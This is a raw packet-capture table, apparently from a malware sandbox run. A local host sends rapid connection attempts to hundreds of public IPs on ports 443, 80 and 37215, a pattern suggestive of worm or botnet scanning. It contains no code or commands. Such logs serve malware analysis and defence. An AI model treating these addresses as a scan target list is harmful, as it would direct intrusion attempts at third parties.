Jan 30, 2025 10:43:01.145766020 CET	38815	443	192.168.2.13	148.25.47.122
Jan 30, 2025 10:43:01.145770073 CET	38815	443	192.168.2.13	202.174.222.58
Jan 30, 2025 10:43:01.145775080 CET	38815	443	192.168.2.13	5.191.93.219
Jan 30, 2025 10:43:01.145770073 CET	38815	443	192.168.2.13	212.110.29.96
Jan 30, 2025 10:43:01.145766020 CET	38815	443	192.168.2.13	123.31.122.59
Jan 30, 2025 10:43:01.145766973 CET	38815	443	192.168.2.13	94.219.183.149
Jan 30, 2025 10:43:01.145768881 CET	38815	443	192.168.2.13	123.46.6.181
Jan 30, 2025 10:43:01.145766973 CET	38815	443	192.168.2.13	37.148.58.14
Jan 30, 2025 10:43:01.145768881 CET	38815	443	192.168.2.13	118.81.120.119
Jan 30, 2025 10:43:01.145775080 CET	38815	443	192.168.2.13	210.56.217.116
Jan 30, 2025 10:43:01.145770073 CET	38815	443	192.168.2.13	148.80.149.72
Jan 30, 2025 10:43:01.145766020 CET	38815	443	192.168.2.13	123.59.254.139
Jan 30, 2025 10:43:01.145768881 CET	38815	443	192.168.2.13	94.166.23.168
Jan 30, 2025 10:43:01.145770073 CET	38815	443	192.168.2.13	178.70.109.123
Jan 30, 2025 10:43:01.145768881 CET	38815	443	192.168.2.13	178.204.79.172
Jan 30, 2025 10:43:01.145775080 CET	38815	443	192.168.2.13	123.40.200.248
Jan 30, 2025 10:43:01.145766973 CET	38815	443	192.168.2.13	2.124.174.69
Jan 30, 2025 10:43:01.145787954 CET	38815	443	192.168.2.13	148.2.10.234
Jan 30, 2025 10:43:01.145781040 CET	38815	443	192.168.2.13	37.30.138.232
Jan 30, 2025 10:43:01.145766973 CET	38815	443	192.168.2.13	202.217.142.10
Jan 30, 2025 10:43:01.145787954 CET	38815	443	192.168.2.13	94.193.207.153
Jan 30, 2025 10:43:01.145798922 CET	38815	443	192.168.2.13	79.247.34.221
Jan 30, 2025 10:43:01.145766973 CET	38815	443	192.168.2.13	5.232.216.97
Jan 30, 2025 10:43:01.145775080 CET	38815	443	192.168.2.13	2.5.118.209
Jan 30, 2025 10:43:01.145766973 CET	38815	443	192.168.2.13	5.213.61.49
Jan 30, 2025 10:43:01.145787954 CET	38815	443	192.168.2.13	202.195.12.16
Jan 30, 2025 10:43:01.145798922 CET	38815	443	192.168.2.13	42.246.102.237
Jan 30, 2025 10:43:01.145768881 CET	38815	443	192.168.2.13	148.73.29.233
Jan 30, 2025 10:43:01.145775080 CET	38815	443	192.168.2.13	5.71.245.223
Jan 30, 2025 10:43:01.145787954 CET	38815	443	192.168.2.13	178.56.216.177
Jan 30, 2025 10:43:01.145781040 CET	38815	443	192.168.2.13	123.130.236.73
Jan 30, 2025 10:43:01.145787954 CET	38815	443	192.168.2.13	109.108.248.45
Jan 30, 2025 10:43:01.145775080 CET	38815	443	192.168.2.13	148.35.150.234
Jan 30, 2025 10:43:01.145787954 CET	38815	443	192.168.2.13	2.255.114.36
Jan 30, 2025 10:43:01.145768881 CET	38815	443	192.168.2.13	210.73.97.11
Jan 30, 2025 10:43:01.145808935 CET	38815	443	192.168.2.13	79.64.188.109
Jan 30, 2025 10:43:01.145787954 CET	38815	443	192.168.2.13	37.132.104.8
Jan 30, 2025 10:43:01.145768881 CET	38815	443	192.168.2.13	118.224.167.228
Jan 30, 2025 10:43:01.145787954 CET	38815	443	192.168.2.13	117.179.191.216
Jan 30, 2025 10:43:01.145768881 CET	38815	443	192.168.2.13	202.197.185.72
Jan 30, 2025 10:43:01.145775080 CET	38815	443	192.168.2.13	202.2.228.201
Jan 30, 2025 10:43:01.145781040 CET	38815	443	192.168.2.13	109.90.155.251
Jan 30, 2025 10:43:01.145781040 CET	38815	443	192.168.2.13	202.135.209.219
Jan 30, 2025 10:43:01.145781040 CET	38815	443	192.168.2.13	123.244.68.157
Jan 30, 2025 10:43:01.145822048 CET	38815	443	192.168.2.13	109.254.246.164
Jan 30, 2025 10:43:01.145822048 CET	38815	443	192.168.2.13	42.124.2.181
Jan 30, 2025 10:43:01.145822048 CET	38815	443	192.168.2.13	202.243.4.95
Jan 30, 2025 10:43:01.145822048 CET	38815	443	192.168.2.13	212.212.93.200
Jan 30, 2025 10:43:01.145822048 CET	38815	443	192.168.2.13	109.50.191.119
Jan 30, 2025 10:43:01.145822048 CET	38815	443	192.168.2.13	42.1.144.79
Jan 30, 2025 10:43:01.145822048 CET	38815	443	192.168.2.13	109.51.103.93
Jan 30, 2025 10:43:01.145822048 CET	38815	443	192.168.2.13	117.156.164.81
Jan 30, 2025 10:43:01.145822048 CET	38815	443	192.168.2.13	37.3.193.9
Jan 30, 2025 10:43:01.145822048 CET	38815	443	192.168.2.13	117.122.235.56
Jan 30, 2025 10:43:01.145822048 CET	38815	443	192.168.2.13	2.145.177.240
Jan 30, 2025 10:43:01.145822048 CET	38815	443	192.168.2.13	109.43.42.153
Jan 30, 2025 10:43:01.145822048 CET	38815	443	192.168.2.13	123.173.180.167
Jan 30, 2025 10:43:01.145822048 CET	38815	443	192.168.2.13	148.141.214.39
Jan 30, 2025 10:43:01.145822048 CET	38815	443	192.168.2.13	202.9.228.199
Jan 30, 2025 10:43:01.145826101 CET	38815	443	192.168.2.13	117.51.89.50
Jan 30, 2025 10:43:01.145826101 CET	38815	443	192.168.2.13	109.229.98.104
Jan 30, 2025 10:43:01.145826101 CET	38815	443	192.168.2.13	123.73.197.79
Jan 30, 2025 10:43:01.145826101 CET	38815	443	192.168.2.13	79.4.140.151
Jan 30, 2025 10:43:01.145826101 CET	38815	443	192.168.2.13	118.8.28.197
Jan 30, 2025 10:43:01.145826101 CET	38815	443	192.168.2.13	212.237.154.187
Jan 30, 2025 10:43:01.145833969 CET	38815	443	192.168.2.13	212.50.251.155
Jan 30, 2025 10:43:01.145833969 CET	38815	443	192.168.2.13	202.9.52.205
Jan 30, 2025 10:43:01.145833969 CET	38815	443	192.168.2.13	5.30.132.27
Jan 30, 2025 10:43:01.145833969 CET	38815	443	192.168.2.13	212.245.86.133
Jan 30, 2025 10:43:01.145834923 CET	38815	443	192.168.2.13	212.126.90.87
Jan 30, 2025 10:43:01.145834923 CET	38815	443	192.168.2.13	202.92.33.91
Jan 30, 2025 10:43:01.145834923 CET	38815	443	192.168.2.13	212.160.215.88
Jan 30, 2025 10:43:01.145834923 CET	38815	443	192.168.2.13	2.167.226.58
Jan 30, 2025 10:43:01.145834923 CET	38815	443	192.168.2.13	42.167.60.33
Jan 30, 2025 10:43:01.145834923 CET	38815	443	192.168.2.13	5.133.254.115
Jan 30, 2025 10:43:01.145838022 CET	38815	443	192.168.2.13	2.2.227.2
Jan 30, 2025 10:43:01.145834923 CET	38815	443	192.168.2.13	178.117.215.56
Jan 30, 2025 10:43:01.145838022 CET	38815	443	192.168.2.13	212.107.214.31
Jan 30, 2025 10:43:01.145834923 CET	38815	443	192.168.2.13	94.213.105.159
Jan 30, 2025 10:43:01.145838976 CET	38815	443	192.168.2.13	109.97.47.124
Jan 30, 2025 10:43:01.145839930 CET	38815	443	192.168.2.13	42.210.199.190
Jan 30, 2025 10:43:01.145838976 CET	38815	443	192.168.2.13	37.63.247.173
Jan 30, 2025 10:43:01.145838976 CET	38815	443	192.168.2.13	202.215.216.2
Jan 30, 2025 10:43:01.145838976 CET	38815	443	192.168.2.13	2.50.112.204
Jan 30, 2025 10:43:01.145838976 CET	38815	443	192.168.2.13	79.13.152.181
Jan 30, 2025 10:43:01.145839930 CET	38815	443	192.168.2.13	123.192.62.250
Jan 30, 2025 10:43:01.145839930 CET	38815	443	192.168.2.13	37.34.253.195
Jan 30, 2025 10:43:01.145839930 CET	38815	443	192.168.2.13	109.132.253.226
Jan 30, 2025 10:43:01.145844936 CET	38815	443	192.168.2.13	178.92.170.164
Jan 30, 2025 10:43:01.145844936 CET	38815	443	192.168.2.13	118.52.4.65
Jan 30, 2025 10:43:01.145844936 CET	38815	443	192.168.2.13	2.216.85.69
Jan 30, 2025 10:43:01.145844936 CET	38815	443	192.168.2.13	202.165.19.205
Jan 30, 2025 10:43:01.145844936 CET	38815	443	192.168.2.13	94.68.184.124
Jan 30, 2025 10:43:01.145844936 CET	38815	443	192.168.2.13	42.86.37.203
Jan 30, 2025 10:43:01.145844936 CET	38815	443	192.168.2.13	210.84.31.23
Jan 30, 2025 10:43:01.145844936 CET	38815	443	192.168.2.13	118.123.101.214
Jan 30, 2025 10:43:01.145848989 CET	38815	443	192.168.2.13	2.70.196.124
Jan 30, 2025 10:43:01.145848989 CET	38815	443	192.168.2.13	148.6.131.212
Jan 30, 2025 10:43:01.145848989 CET	38815	443	192.168.2.13	178.196.63.95
Jan 30, 2025 10:43:01.145853996 CET	38815	443	192.168.2.13	94.1.133.250
Jan 30, 2025 10:43:01.145848989 CET	38815	443	192.168.2.13	94.91.64.191
Jan 30, 2025 10:43:01.145853996 CET	38815	443	192.168.2.13	42.87.217.104
Jan 30, 2025 10:43:01.145855904 CET	38815	443	192.168.2.13	2.7.83.18
Jan 30, 2025 10:43:01.145848989 CET	38815	443	192.168.2.13	210.146.237.61
Jan 30, 2025 10:43:01.145855904 CET	38815	443	192.168.2.13	212.189.165.108
Jan 30, 2025 10:43:01.145855904 CET	38815	443	192.168.2.13	212.5.149.214
Jan 30, 2025 10:43:01.145849943 CET	38815	443	192.168.2.13	148.215.33.126
Jan 30, 2025 10:43:01.145849943 CET	38815	443	192.168.2.13	123.159.143.169
Jan 30, 2025 10:43:01.145859957 CET	38815	443	192.168.2.13	117.145.55.188
Jan 30, 2025 10:43:01.145880938 CET	38815	443	192.168.2.13	117.148.71.196
Jan 30, 2025 10:43:01.145880938 CET	38815	443	192.168.2.13	109.104.200.121
Jan 30, 2025 10:43:01.145898104 CET	38815	443	192.168.2.13	5.93.64.105
Jan 30, 2025 10:43:01.145898104 CET	38815	443	192.168.2.13	212.249.31.54
Jan 30, 2025 10:43:01.145898104 CET	38815	443	192.168.2.13	210.83.150.234
Jan 30, 2025 10:43:01.145898104 CET	38815	443	192.168.2.13	109.29.123.141
Jan 30, 2025 10:43:01.145898104 CET	38815	443	192.168.2.13	118.35.169.120
Jan 30, 2025 10:43:01.145898104 CET	38815	443	192.168.2.13	118.33.60.47
Jan 30, 2025 10:43:01.145898104 CET	38815	443	192.168.2.13	2.240.154.33
Jan 30, 2025 10:43:01.145898104 CET	38815	443	192.168.2.13	118.20.158.105
Jan 30, 2025 10:43:01.145903111 CET	38815	443	192.168.2.13	123.87.192.149
Jan 30, 2025 10:43:01.145903111 CET	38815	443	192.168.2.13	210.31.70.138
Jan 30, 2025 10:43:01.145903111 CET	38815	443	192.168.2.13	178.77.145.150
Jan 30, 2025 10:43:01.145904064 CET	38815	443	192.168.2.13	202.61.87.154
Jan 30, 2025 10:43:01.145904064 CET	38815	443	192.168.2.13	123.19.74.84
Jan 30, 2025 10:43:01.145903111 CET	38815	443	192.168.2.13	5.250.86.43
Jan 30, 2025 10:43:01.145909071 CET	38815	443	192.168.2.13	210.71.185.33
Jan 30, 2025 10:43:01.145904064 CET	38815	443	192.168.2.13	79.65.200.245
Jan 30, 2025 10:43:01.145909071 CET	38815	443	192.168.2.13	123.152.248.151
Jan 30, 2025 10:43:01.145910978 CET	38815	443	192.168.2.13	42.83.95.52
Jan 30, 2025 10:43:01.145909071 CET	38815	443	192.168.2.13	118.7.214.179
Jan 30, 2025 10:43:01.145904064 CET	38815	443	192.168.2.13	212.36.148.131
Jan 30, 2025 10:43:01.145914078 CET	38815	443	192.168.2.13	117.82.33.141
Jan 30, 2025 10:43:01.145904064 CET	38815	443	192.168.2.13	148.117.9.33
Jan 30, 2025 10:43:01.145914078 CET	38815	443	192.168.2.13	178.205.224.240
Jan 30, 2025 10:43:01.145910025 CET	38815	443	192.168.2.13	79.104.228.72
Jan 30, 2025 10:43:01.145910978 CET	38815	443	192.168.2.13	148.11.35.8
Jan 30, 2025 10:43:01.145916939 CET	38815	443	192.168.2.13	109.126.79.5
Jan 30, 2025 10:43:01.145915031 CET	38815	443	192.168.2.13	109.143.134.120
Jan 30, 2025 10:43:01.145910025 CET	38815	443	192.168.2.13	212.18.178.89
Jan 30, 2025 10:43:01.145905018 CET	38815	443	192.168.2.13	202.231.31.11
Jan 30, 2025 10:43:01.145910978 CET	38815	443	192.168.2.13	202.90.63.153
Jan 30, 2025 10:43:01.145905018 CET	38815	443	192.168.2.13	118.217.148.150
Jan 30, 2025 10:43:01.145915031 CET	38815	443	192.168.2.13	79.67.44.172
Jan 30, 2025 10:43:01.145905018 CET	38815	443	192.168.2.13	42.244.166.208
Jan 30, 2025 10:43:01.145904064 CET	38815	443	192.168.2.13	210.101.89.55
Jan 30, 2025 10:43:01.145920992 CET	38815	443	192.168.2.13	148.76.58.216
Jan 30, 2025 10:43:01.145904064 CET	38815	443	192.168.2.13	123.238.169.114
Jan 30, 2025 10:43:01.145929098 CET	38815	443	192.168.2.13	210.231.55.91
Jan 30, 2025 10:43:01.145920992 CET	38815	443	192.168.2.13	5.77.39.72
Jan 30, 2025 10:43:01.145905018 CET	38815	443	192.168.2.13	2.31.140.195
Jan 30, 2025 10:43:01.145931005 CET	38815	443	192.168.2.13	202.168.157.231
Jan 30, 2025 10:43:01.145920992 CET	38815	443	192.168.2.13	210.241.48.87
Jan 30, 2025 10:43:01.145931005 CET	38815	443	192.168.2.13	123.95.82.221
Jan 30, 2025 10:43:01.145920992 CET	38815	443	192.168.2.13	109.150.192.166
Jan 30, 2025 10:43:01.145920992 CET	38815	443	192.168.2.13	109.162.47.21
Jan 30, 2025 10:43:01.145920992 CET	38815	443	192.168.2.13	210.246.110.44
Jan 30, 2025 10:43:01.145944118 CET	38815	443	192.168.2.13	148.153.237.137
Jan 30, 2025 10:43:01.145944118 CET	38815	443	192.168.2.13	109.114.57.187
Jan 30, 2025 10:43:01.145946026 CET	38815	443	192.168.2.13	202.111.0.135
Jan 30, 2025 10:43:01.145946026 CET	38815	443	192.168.2.13	79.194.65.81
Jan 30, 2025 10:43:01.145950079 CET	38815	443	192.168.2.13	117.197.7.34
Jan 30, 2025 10:43:01.145950079 CET	38815	443	192.168.2.13	42.244.50.15
Jan 30, 2025 10:43:01.145950079 CET	38815	443	192.168.2.13	123.92.102.147
Jan 30, 2025 10:43:01.145950079 CET	38815	443	192.168.2.13	123.25.14.55
Jan 30, 2025 10:43:01.145950079 CET	38815	443	192.168.2.13	118.179.194.229
Jan 30, 2025 10:43:01.145952940 CET	38815	443	192.168.2.13	37.20.10.57
Jan 30, 2025 10:43:01.145952940 CET	38815	443	192.168.2.13	123.17.221.168
Jan 30, 2025 10:43:01.145950079 CET	38815	443	192.168.2.13	202.7.253.188
Jan 30, 2025 10:43:01.145951033 CET	38815	443	192.168.2.13	42.146.107.228
Jan 30, 2025 10:43:01.145951033 CET	38815	443	192.168.2.13	5.77.81.81
Jan 30, 2025 10:43:01.145951033 CET	38815	443	192.168.2.13	118.147.64.188
Jan 30, 2025 10:43:01.145951033 CET	38815	443	192.168.2.13	210.246.213.32
Jan 30, 2025 10:43:01.145951033 CET	38815	443	192.168.2.13	94.48.193.238
Jan 30, 2025 10:43:01.145960093 CET	38815	443	192.168.2.13	212.250.108.169
Jan 30, 2025 10:43:01.145960093 CET	38815	443	192.168.2.13	37.94.154.4
Jan 30, 2025 10:43:01.145962000 CET	38815	443	192.168.2.13	202.54.239.234
Jan 30, 2025 10:43:01.145962000 CET	38815	443	192.168.2.13	212.192.111.193
Jan 30, 2025 10:43:01.145962000 CET	38815	443	192.168.2.13	148.238.102.110
Jan 30, 2025 10:43:01.145970106 CET	38815	443	192.168.2.13	2.136.91.113
Jan 30, 2025 10:43:01.145970106 CET	38815	443	192.168.2.13	118.61.40.23
Jan 30, 2025 10:43:01.145970106 CET	38815	443	192.168.2.13	202.168.152.18
Jan 30, 2025 10:43:01.145972967 CET	38815	443	192.168.2.13	5.170.236.249
Jan 30, 2025 10:43:01.145970106 CET	38815	443	192.168.2.13	178.128.219.142
Jan 30, 2025 10:43:01.145972967 CET	38815	443	192.168.2.13	123.188.224.69
Jan 30, 2025 10:43:01.145975113 CET	38815	443	192.168.2.13	2.240.237.93
Jan 30, 2025 10:43:01.145972967 CET	38815	443	192.168.2.13	178.206.241.151
Jan 30, 2025 10:43:01.145970106 CET	38815	443	192.168.2.13	109.65.174.50
Jan 30, 2025 10:43:01.145972967 CET	38815	443	192.168.2.13	210.51.167.98
Jan 30, 2025 10:43:01.145972967 CET	38815	443	192.168.2.13	123.198.23.64
Jan 30, 2025 10:43:01.145977020 CET	38815	443	192.168.2.13	212.132.218.86
Jan 30, 2025 10:43:01.145977020 CET	38815	443	192.168.2.13	117.102.186.187
Jan 30, 2025 10:43:01.145977020 CET	38815	443	192.168.2.13	2.224.244.161
Jan 30, 2025 10:43:01.145986080 CET	38815	443	192.168.2.13	117.38.124.130
Jan 30, 2025 10:43:01.145986080 CET	38815	443	192.168.2.13	37.146.188.100
Jan 30, 2025 10:43:01.145996094 CET	38815	443	192.168.2.13	37.94.237.36
Jan 30, 2025 10:43:01.145996094 CET	38815	443	192.168.2.13	5.141.43.76
Jan 30, 2025 10:43:01.146002054 CET	38815	443	192.168.2.13	148.30.67.80
Jan 30, 2025 10:43:01.146009922 CET	38815	443	192.168.2.13	117.205.138.254
Jan 30, 2025 10:43:01.146015882 CET	38815	443	192.168.2.13	37.89.101.170
Jan 30, 2025 10:43:01.146017075 CET	38815	443	192.168.2.13	79.25.5.47
Jan 30, 2025 10:43:01.146040916 CET	38815	443	192.168.2.13	117.250.192.55
Jan 30, 2025 10:43:01.146045923 CET	38815	443	192.168.2.13	2.32.172.132
Jan 30, 2025 10:43:01.146064043 CET	38815	443	192.168.2.13	94.190.183.85
Jan 30, 2025 10:43:01.146064997 CET	38815	443	192.168.2.13	5.202.195.107
Jan 30, 2025 10:43:01.146086931 CET	38815	443	192.168.2.13	210.30.35.32
Jan 30, 2025 10:43:01.146096945 CET	38815	443	192.168.2.13	79.112.45.75
Jan 30, 2025 10:43:01.146104097 CET	38815	443	192.168.2.13	178.88.231.233
Jan 30, 2025 10:43:01.146104097 CET	38815	443	192.168.2.13	94.67.126.56
Jan 30, 2025 10:43:01.146119118 CET	38815	443	192.168.2.13	42.240.184.83
Jan 30, 2025 10:43:01.146120071 CET	38815	443	192.168.2.13	178.10.120.106
Jan 30, 2025 10:43:01.146127939 CET	38815	443	192.168.2.13	148.78.207.195
Jan 30, 2025 10:43:01.146135092 CET	38815	443	192.168.2.13	117.254.72.16
Jan 30, 2025 10:43:01.146142006 CET	38815	443	192.168.2.13	2.245.200.89
Jan 30, 2025 10:43:01.146142006 CET	38815	443	192.168.2.13	210.94.74.199
Jan 30, 2025 10:43:01.146142006 CET	38815	443	192.168.2.13	5.175.59.10
Jan 30, 2025 10:43:01.146142006 CET	38815	443	192.168.2.13	210.48.116.148
Jan 30, 2025 10:43:01.146142006 CET	38815	443	192.168.2.13	118.101.27.27
Jan 30, 2025 10:43:01.146142960 CET	38815	443	192.168.2.13	117.80.31.93
Jan 30, 2025 10:43:01.146152973 CET	38815	443	192.168.2.13	178.126.110.191
Jan 30, 2025 10:43:01.146155119 CET	38815	443	192.168.2.13	117.204.90.81
Jan 30, 2025 10:43:01.146164894 CET	38815	443	192.168.2.13	94.41.162.155
Jan 30, 2025 10:43:01.146169901 CET	38815	443	192.168.2.13	117.142.62.116
Jan 30, 2025 10:43:01.146169901 CET	38815	443	192.168.2.13	109.247.181.194
Jan 30, 2025 10:43:01.146172047 CET	38815	443	192.168.2.13	148.171.225.4
Jan 30, 2025 10:43:01.146182060 CET	38815	443	192.168.2.13	202.255.109.12
Jan 30, 2025 10:43:01.146182060 CET	38815	443	192.168.2.13	148.53.157.158
Jan 30, 2025 10:43:01.146197081 CET	38815	443	192.168.2.13	109.57.28.50
Jan 30, 2025 10:43:01.146215916 CET	38815	443	192.168.2.13	148.124.242.204
Jan 30, 2025 10:43:01.146215916 CET	38815	443	192.168.2.13	210.98.18.242
Jan 30, 2025 10:43:01.146217108 CET	38815	443	192.168.2.13	5.145.51.142
Jan 30, 2025 10:43:01.146229029 CET	38815	443	192.168.2.13	37.140.33.220
Jan 30, 2025 10:43:01.146229029 CET	38815	443	192.168.2.13	109.102.109.8
Jan 30, 2025 10:43:01.146229029 CET	38815	443	192.168.2.13	2.68.26.108
Jan 30, 2025 10:43:01.146233082 CET	38815	443	192.168.2.13	178.12.139.79
Jan 30, 2025 10:43:01.146238089 CET	38815	443	192.168.2.13	79.234.102.24
Jan 30, 2025 10:43:01.146255016 CET	38815	443	192.168.2.13	202.15.95.13
Jan 30, 2025 10:43:01.146261930 CET	38815	443	192.168.2.13	117.138.139.10
Jan 30, 2025 10:43:01.146275997 CET	38815	443	192.168.2.13	94.209.147.148
Jan 30, 2025 10:43:01.146275997 CET	38815	443	192.168.2.13	123.242.239.216
Jan 30, 2025 10:43:01.146277905 CET	38815	443	192.168.2.13	118.187.102.137
Jan 30, 2025 10:43:01.146277905 CET	38815	443	192.168.2.13	202.184.183.63
Jan 30, 2025 10:43:01.146300077 CET	38815	443	192.168.2.13	212.138.85.13
Jan 30, 2025 10:43:01.146300077 CET	38815	443	192.168.2.13	37.236.217.93
Jan 30, 2025 10:43:01.146300077 CET	38815	443	192.168.2.13	5.231.235.254
Jan 30, 2025 10:43:01.146312952 CET	38815	443	192.168.2.13	42.130.16.203
Jan 30, 2025 10:43:01.146316051 CET	38815	443	192.168.2.13	123.172.146.127
Jan 30, 2025 10:43:01.146317005 CET	38815	443	192.168.2.13	5.127.199.175
Jan 30, 2025 10:43:01.146342039 CET	38815	443	192.168.2.13	79.36.48.88
Jan 30, 2025 10:43:01.146342039 CET	38815	443	192.168.2.13	2.127.189.177
Jan 30, 2025 10:43:01.146344900 CET	38815	443	192.168.2.13	148.161.252.166
Jan 30, 2025 10:43:01.146344900 CET	38815	443	192.168.2.13	79.174.33.156
Jan 30, 2025 10:43:01.146344900 CET	38815	443	192.168.2.13	178.29.228.126
Jan 30, 2025 10:43:01.146351099 CET	38815	443	192.168.2.13	37.238.13.192
Jan 30, 2025 10:43:01.146359921 CET	38815	443	192.168.2.13	210.34.18.98
Jan 30, 2025 10:43:01.146367073 CET	38815	443	192.168.2.13	148.56.232.200
Jan 30, 2025 10:43:01.146368027 CET	38815	443	192.168.2.13	117.34.244.191
Jan 30, 2025 10:43:01.146373987 CET	38815	443	192.168.2.13	210.103.0.6
Jan 30, 2025 10:43:01.146378040 CET	38815	443	192.168.2.13	109.132.145.53
Jan 30, 2025 10:43:01.146384001 CET	38815	443	192.168.2.13	117.113.174.110
Jan 30, 2025 10:43:01.146394968 CET	38815	443	192.168.2.13	118.41.150.49
Jan 30, 2025 10:43:01.146400928 CET	38815	443	192.168.2.13	123.64.49.20
Jan 30, 2025 10:43:01.146414042 CET	38815	443	192.168.2.13	123.62.243.204
Jan 30, 2025 10:43:01.146414042 CET	38815	443	192.168.2.13	2.90.88.209
Jan 30, 2025 10:43:01.146414042 CET	38815	443	192.168.2.13	37.222.73.210
Jan 30, 2025 10:43:01.146414042 CET	38815	443	192.168.2.13	212.61.38.14
Jan 30, 2025 10:43:01.146423101 CET	38815	443	192.168.2.13	123.61.99.203
Jan 30, 2025 10:43:01.146433115 CET	38815	443	192.168.2.13	210.171.61.156
Jan 30, 2025 10:43:01.146440983 CET	38815	443	192.168.2.13	42.49.6.44
Jan 30, 2025 10:43:01.146440983 CET	38815	443	192.168.2.13	210.13.61.180
Jan 30, 2025 10:43:01.146441936 CET	38815	443	192.168.2.13	212.189.200.207
Jan 30, 2025 10:43:01.146444082 CET	38815	443	192.168.2.13	210.43.71.70
Jan 30, 2025 10:43:01.146444082 CET	38815	443	192.168.2.13	148.3.77.194
Jan 30, 2025 10:43:01.146456003 CET	38815	443	192.168.2.13	178.142.173.238
Jan 30, 2025 10:43:01.146456003 CET	38815	443	192.168.2.13	118.133.239.174
Jan 30, 2025 10:43:01.146477938 CET	38815	443	192.168.2.13	148.216.73.41
Jan 30, 2025 10:43:01.146480083 CET	38815	443	192.168.2.13	202.17.244.184
Jan 30, 2025 10:43:01.146486044 CET	38815	443	192.168.2.13	123.183.113.88
Jan 30, 2025 10:43:01.146486044 CET	38815	443	192.168.2.13	212.85.179.22
Jan 30, 2025 10:43:01.146486044 CET	38815	443	192.168.2.13	79.136.94.148
Jan 30, 2025 10:43:01.146486044 CET	38815	443	192.168.2.13	118.229.18.65
Jan 30, 2025 10:43:01.146496058 CET	38815	443	192.168.2.13	42.113.154.189
Jan 30, 2025 10:43:01.146514893 CET	38815	443	192.168.2.13	117.70.166.145
Jan 30, 2025 10:43:01.146516085 CET	38815	443	192.168.2.13	148.26.178.132
Jan 30, 2025 10:43:01.146517038 CET	38815	443	192.168.2.13	178.135.231.37
Jan 30, 2025 10:43:01.146532059 CET	38815	443	192.168.2.13	202.158.50.173
Jan 30, 2025 10:43:01.146547079 CET	38815	443	192.168.2.13	79.211.163.176
Jan 30, 2025 10:43:01.146547079 CET	38815	443	192.168.2.13	148.35.139.4
Jan 30, 2025 10:43:01.146550894 CET	38815	443	192.168.2.13	212.235.95.89
Jan 30, 2025 10:43:01.146555901 CET	38815	443	192.168.2.13	5.105.68.191
Jan 30, 2025 10:43:01.146555901 CET	38815	443	192.168.2.13	5.104.111.161
Jan 30, 2025 10:43:01.146563053 CET	38815	443	192.168.2.13	37.34.158.157
Jan 30, 2025 10:43:01.146569014 CET	38815	443	192.168.2.13	79.225.220.134
Jan 30, 2025 10:43:01.146575928 CET	38815	443	192.168.2.13	117.89.193.21
Jan 30, 2025 10:43:01.146580935 CET	38815	443	192.168.2.13	5.188.123.148
Jan 30, 2025 10:43:01.155145884 CET	34554	443	192.168.2.13	117.47.93.92
Jan 30, 2025 10:43:01.155154943 CET	443	34554	117.47.93.92	192.168.2.13
Jan 30, 2025 10:43:01.155226946 CET	34554	443	192.168.2.13	117.47.93.92
Jan 30, 2025 10:43:01.155436993 CET	34554	443	192.168.2.13	117.47.93.92
Jan 30, 2025 10:43:01.155452013 CET	443	34554	117.47.93.92	192.168.2.13
Jan 30, 2025 10:43:01.155495882 CET	34554	443	192.168.2.13	117.47.93.92
Jan 30, 2025 10:43:01.155572891 CET	443	34554	117.47.93.92	192.168.2.13
Jan 30, 2025 10:43:01.219178915 CET	44226	80	192.168.2.13	156.104.231.189
Jan 30, 2025 10:43:01.219178915 CET	55348	37215	192.168.2.13	41.186.113.132
Jan 30, 2025 10:43:01.225538969 CET	80	44226	156.104.231.189	192.168.2.13
Jan 30, 2025 10:43:01.225577116 CET	37215	55348	41.186.113.132	192.168.2.13
Jan 30, 2025 10:43:01.225651026 CET	44226	80	192.168.2.13	156.104.231.189
Jan 30, 2025 10:43:01.225656033 CET	55348	37215	192.168.2.13	41.186.113.132
Jan 30, 2025 10:43:01.225714922 CET	44226	80	192.168.2.13	156.104.231.189
Jan 30, 2025 10:43:01.225745916 CET	38885	80	192.168.2.13	131.200.86.73
Jan 30, 2025 10:43:01.225749969 CET	38885	80	192.168.2.13	148.108.129.74
Jan 30, 2025 10:43:01.225758076 CET	38885	80	192.168.2.13	157.1.183.21
Jan 30, 2025 10:43:01.225771904 CET	38885	80	192.168.2.13	191.1.254.165
Jan 30, 2025 10:43:01.225774050 CET	38885	80	192.168.2.13	168.180.101.197
Jan 30, 2025 10:43:01.225785971 CET	38885	80	192.168.2.13	106.202.216.82
Jan 30, 2025 10:43:01.225786924 CET	38885	80	192.168.2.13	14.2.117.158
Jan 30, 2025 10:43:01.225791931 CET	38885	80	192.168.2.13	204.32.9.240
Jan 30, 2025 10:43:01.225791931 CET	38885	80	192.168.2.13	2.224.246.149
Jan 30, 2025 10:43:01.225797892 CET	38885	80	192.168.2.13	212.173.227.251
Jan 30, 2025 10:43:01.225805044 CET	38885	80	192.168.2.13	38.201.45.237
Jan 30, 2025 10:43:01.225807905 CET	38885	80	192.168.2.13	19.137.0.249
Jan 30, 2025 10:43:01.225807905 CET	38885	80	192.168.2.13	105.90.164.67
Jan 30, 2025 10:43:01.225811005 CET	38885	80	192.168.2.13	114.189.45.111
Jan 30, 2025 10:43:01.225826025 CET	38885	80	192.168.2.13	43.25.23.56
Jan 30, 2025 10:43:01.225831032 CET	38885	80	192.168.2.13	23.180.246.234
Jan 30, 2025 10:43:01.225831032 CET	38885	80	192.168.2.13	222.131.251.85
Jan 30, 2025 10:43:01.225846052 CET	38885	80	192.168.2.13	87.11.79.17
Jan 30, 2025 10:43:01.225847006 CET	38885	80	192.168.2.13	157.97.246.252
Jan 30, 2025 10:43:01.225855112 CET	38885	80	192.168.2.13	130.121.216.224
Jan 30, 2025 10:43:01.225856066 CET	38885	80	192.168.2.13	68.147.152.78
Jan 30, 2025 10:43:01.225872040 CET	38885	80	192.168.2.13	217.238.240.0
Jan 30, 2025 10:43:01.225872040 CET	38885	80	192.168.2.13	62.224.102.77
Jan 30, 2025 10:43:01.225877047 CET	38885	80	192.168.2.13	160.249.5.213
Jan 30, 2025 10:43:01.225888968 CET	38885	80	192.168.2.13	4.226.230.106
Jan 30, 2025 10:43:01.225903034 CET	38885	80	192.168.2.13	19.61.35.8
Jan 30, 2025 10:43:01.225908041 CET	38885	80	192.168.2.13	116.46.42.92
Jan 30, 2025 10:43:01.225908041 CET	38885	80	192.168.2.13	130.141.90.169
Jan 30, 2025 10:43:01.225908995 CET	38885	80	192.168.2.13	131.240.112.77
Jan 30, 2025 10:43:01.225917101 CET	38885	80	192.168.2.13	68.36.200.227
Jan 30, 2025 10:43:01.225925922 CET	38885	80	192.168.2.13	162.243.176.36
Jan 30, 2025 10:43:01.225929022 CET	38885	80	192.168.2.13	95.234.191.202
